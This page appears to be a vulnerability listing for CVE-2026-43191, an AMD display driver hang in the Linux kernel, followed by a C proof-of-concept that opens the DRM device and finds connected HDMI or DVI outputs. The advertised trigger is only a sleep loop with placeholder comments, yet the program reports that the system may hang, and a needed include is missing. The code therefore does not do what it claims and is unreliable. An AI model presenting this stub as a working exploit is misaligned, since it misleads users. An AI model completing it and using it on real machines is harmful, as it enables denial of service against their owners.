CVE-2026-43191 Linux内核AMD显卡驱动拒绝服务漏洞

/* * PoC for CVE-2026-43191 (AMD DCN35 PHY FSM Hang) * This code attempts to trigger the vulnerable display path by * manipulating the TMDS output status on susceptible hardware. * Compilation: gcc -o poc_cve2026_43191 poc_cve2026_43191.c -ldrm */ #include <xf86drm.h> #include <xf86drmMode.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(int argc, char **argv) { int fd; drmModeRes *resources; drmModeConnector *connector; int i; // Open the first available DRM device (typically /dev/dri/card0) fd = open("/dev/dri/card0", O_RDWR | O_CLOEXEC); if (fd < 0) { perror("Failed to open DRM device"); return 1; } resources = drmModeGetResources(fd); if (!resources) { perror("Failed to get DRM resources"); close(fd); return 1; } printf("Attempting to trigger PHY FSM transition bug...\n"); // Iterate through connectors to find TMDS (HDMI/DVI) outputs for (i = 0; i < resources->count_connectors; i++) { connector = drmModeGetConnector(fd, resources->connectors[i]); if (!connector) continue; if (connector->connection == DRM_MODE_CONNECTED && (connector->connector_type == DRM_MODE_CONNECTOR_HDMIA || connector->connector_type == DRM_MODE_CONNECTOR_DVII)) { printf("Found TMDS Connector ID: %d\n", connector->connector_id); // In a real exploit scenario, specific ioctl calls would be made // to force disable the output rapidly, triggering the race condition // in the PHY PLL transition. // Simulating rapid disable/enable stress on the output path for(int j=0; j<100; j++) { // Placeholder for actual DRM mode setting atomic commits // that toggle the TMDS output. usleep(1000); } } drmModeFreeConnector(connector); } drmModeFreeResources(resources); close(fd); printf("PoC execution finished. System may hang if vulnerable.\n"); return 0; }